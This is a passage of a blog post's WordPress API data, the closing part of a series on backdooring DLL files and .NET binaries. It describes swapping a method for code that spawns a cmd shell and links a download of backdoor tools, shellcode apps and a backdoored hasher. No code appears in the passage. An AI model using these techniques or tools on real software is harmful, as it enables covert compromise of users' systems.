srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/putty2.png 825w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/putty2-300x189.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/putty2-768x485.png 768w\" sizes=\"(max-width: 825px) 100vw, 825px\" \/><\/a><\/p>\n<p>So that&#8217;s how you backdoor a .net binary. For a .net class library, you do the exact same &#8211; find a method that looks suitable, and replace with your backdooring code. Shellcode is nice, but not necessary for our needs of spawning a cmd shell. <\/p>\n<p>Hope you all learned something. Attached here are <a href=\"https:\/\/gironsec.com\/code\/backdoor_dll_part_4.7z\" target=\"_blank\">all the files<\/a>. The detours launcher, dll, source for both, the C# shellcode app and source, the C# cmd shell app \/ source, and the backdoored c# hasher \/ regular hasher thingy.<\/p>\n<p>Happy hacking!<\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/1472499021034.jpg\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/1472499021034.jpg\" alt=\"1472499021034\" width=\"500\" height=\"1895\" class=\"alignnone size-full wp-image-1375\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/1472499021034.jpg 500w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/1472499021034-79x300.jpg 79w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/09\/1472499021034-270x1024.jpg 270w\" sizes=\"(max-width: 500px) 100vw, 500px\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Here we are finally at the last part of my series on backdooring dll files. I wanted to cover again detours as a means of backdooring dll files and executables. A fellow 2600 member I spoke to asked me the other day about what it would take to modify an exe without changing it on [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[4,6,7],"tags":[110,56],"_links":{"self":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1351"}],"collection":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/comments?post=1351"}],"version-history":[{"count":8,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1351\/revisions"}],"predecessor-version":[{"id":1378,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1351\/revisions\/1378"}],"wp:attachment":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/media?parent=1351"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/categories?post=1351"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/tags?post=1351"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}